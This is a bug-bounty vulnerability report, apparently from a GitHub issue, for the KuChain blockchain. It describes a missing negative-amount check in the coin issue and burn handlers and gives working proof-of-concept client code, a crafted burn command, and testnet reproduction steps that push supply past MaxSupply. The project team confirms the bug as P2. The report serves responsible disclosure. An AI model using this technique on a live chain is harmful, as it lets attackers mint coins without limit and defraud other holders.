No negative check for Amount in HandleMsgIssue() and HandleMsgBurn()

[soreatu]

Describe The Bug
There exists no negative check for the Amount field in MsgIssueCoinData and MsgBurnCoinData when handling MsgIssueCoin and MsgBurnCoin.
The attacker can sends a MsgIssueCoin transaction which contains a negative Amount. This transaction will be executed successfully. As a consequence, the coin amount can be set as a negative value, which is an unexpected result.
Similarly, the attacker can also sends a MsgBurnCoin transaction which contains a huge negative Amount, and this will be executed successfully as well. Through this way, the coin creator can make the coin Supply go far beyond the MaxSupply limitation and get huge amounts of coins, which seriously disrupts the market order.

First, we show how the coin amount can be set as negative, by sending a MsgIssueCoin transaction.

Code Snippets(Optional)
/x/asset/client/cli/issue.go:L47-52

func Issue(cdc *codec.Codec) *cobra.Command {
			...
			amount, err := sdk.ParseCoin(args[2])
			if err != nil {
				return err
			} 
			// To send a transaction with negative Amount, add the below line
			amount.Amount = amount.Amount.Neg()
			...
}

Input/Output

1. Craft a MsgIssueCoin: '{"creator":"kratos","symbol":"kvs","amount":"-20000kratos/kvs"}'
2. Output: None

To Reproduce

1. make
2. ./scripts/boot-testnet.sh ./
3. ./build/ktscli tx asset create kratos kvs 1000000kratos/kvs 1 1 10 1kratos/kvs "test" --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
4. ./build/ktscli tx asset issue kratos kvs 10000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
5. ./build/ktscli query asset coins kratos
6. Add one line code amount.Amount = amount.Amount.Neg() in the client code located at /x/asset/client/cli/issue.go:L52, as shown in the Code Snippets.
7. make
8. ./build/ktscli tx asset issue kratos kvs 20000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
9. ./build/ktscli query asset coins kratos

Expected Behavior
Return an error "The amount of coin cannot be negative."

Screenshots
First query:

Second query:

---

Next, we show how the coin creator can go through the MaxSupply limitation and get a large amounts of coins, by sending a MsgBurnCoin transaction.

The client code doesn't implement the burn command, so we need to implement one by ourselves.

Code Snippets(Optional)
Create a file burn.go under the dircetory /x/asset/client/cli/ populated with the following code.

package cli

import (
	"bufio"

	"github.com/KuChainNetwork/kuchain/chain/client/flags"
	"github.com/KuChainNetwork/kuchain/chain/client/txutil"
	chainTypes "github.com/KuChainNetwork/kuchain/chain/types"
	"github.com/KuChainNetwork/kuchain/x/asset/types"
	"github.com/cosmos/cosmos-sdk/client/context"
	"github.com/cosmos/cosmos-sdk/codec"
	sdk "github.com/cosmos/cosmos-sdk/types"
	sdkerrors "github.com/cosmos/cosmos-sdk/types/errors"
	"github.com/spf13/cobra"
)

func Burn(cdc *codec.Codec) *cobra.Command {
	cmd := &cobra.Command{
		Use:   "burn [creator] [amount]",
		Short: "burn coin",
		Args:  cobra.ExactArgs(2),
		RunE: func(cmd *cobra.Command, args []string) error {
			inBuf := bufio.NewReader(cmd.InOrStdin())
			txBldr := txutil.NewTxBuilderFromCLI(inBuf).WithTxEncoder(txutil.GetTxEncoder(cdc))
			cliCtx := context.NewCLIContextWithInput(inBuf).WithCodec(cdc)

			creator, err := chainTypes.NewName(args[0])
			if err != nil {
				return err
			}

			creatorID := types.NewAccountIDFromName(creator)

			ctx := txutil.NewKuCLICtx(cliCtx).WithFromAccount(creatorID)
			auth, err := txutil.QueryAccountAuth(ctx, creatorID)
			if err != nil {
				return sdkerrors.Wrapf(err, "query account %s auth error", creator)
			}


			amount, err := sdk.ParseCoin(args[1])
			if err != nil {
				return err
			}
			amount.Amount = amount.Amount.Neg()


			msg := types.NewMsgBurn(auth, creatorID, amount)
			return txutil.GenerateOrBroadcastMsgs(ctx, txBldr, []sdk.Msg{msg})
		},
	}

	cmd = flags.PostCommands(cmd)[0]

	return cmd
}

Add the Burn function to the command line.
/x/asset/client/cli/tx.go:L19-38

func GetTxCmd(cdc *codec.Codec) *cobra.Command {
	txCmd.AddCommand(
		Transfer(cdc),
		Create(cdc),
		Issue(cdc),
		Burn(cdc),  // Add this line
		LockCoin(cdc),
		UnlockCoin(cdc),
	)
}

Modify the NewMsgBurn function.
/x/asset/types/msgs.go:L85-86

func NewMsgBurn(auth types.AccAddress, id types.AccountID, amount types.Coin) MsgBurnCoin {
	return MsgBurnCoin{
		...
	}
}

Input/Output

1. Craft a MsgBurnCoin: '{"creator":"kratos",,"amount":"-1000000000000000000000000000kratos/kvs"}'
2. Output: None

To Reproduce

1. modify the code as shown in the Code Snippets
2. make
3. ./scripts/boot-testnet.sh ./
4. ./build/ktscli tx asset create kratos kvs 1000000kratos/kvs 1 1 10 1kratos/kvs "test" --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
5. ./build/ktscli tx asset burn kratos 1000000000000000000000000000kratos/kvs --keyring-backend test --chain-id testing --home ./testing/cli/ --from kratos
6. ./build/ktscli query asset coins kratos

Expected Behavior
Return an error "The amount of coin cannot be negative."

Screenshots

---

Desktop (please complete the following information):

• OS: [macOS Catalina 10.15.6]

Additional Context (Optional)
For some reason, we cannot create a transaction with negative Amount through command line, so we modify the client code for our purposes.
Note that, although the client code doesn't implement NewMsgBurn, the server does indeed support MsgBurnCoin. So, we can implement one following the example of NewMsgIssue, and use that to trigger the vulnerability.

Contact Information
xiang.yin@chaitin.com
blockchain@chaitin.com

[Pisces-Anjou]

Hi

Thanks for your submission.
We have tested the issue you mentioned and did reproduce it.
This is a valid vulnerability. After evaluation, this vulnerability has been graded as P2.
Please pay attention to the announcement to get your rewards.
Thanks for your attention and contribution. Please keep trying and help us improve our chain.

Regards
KuChain Team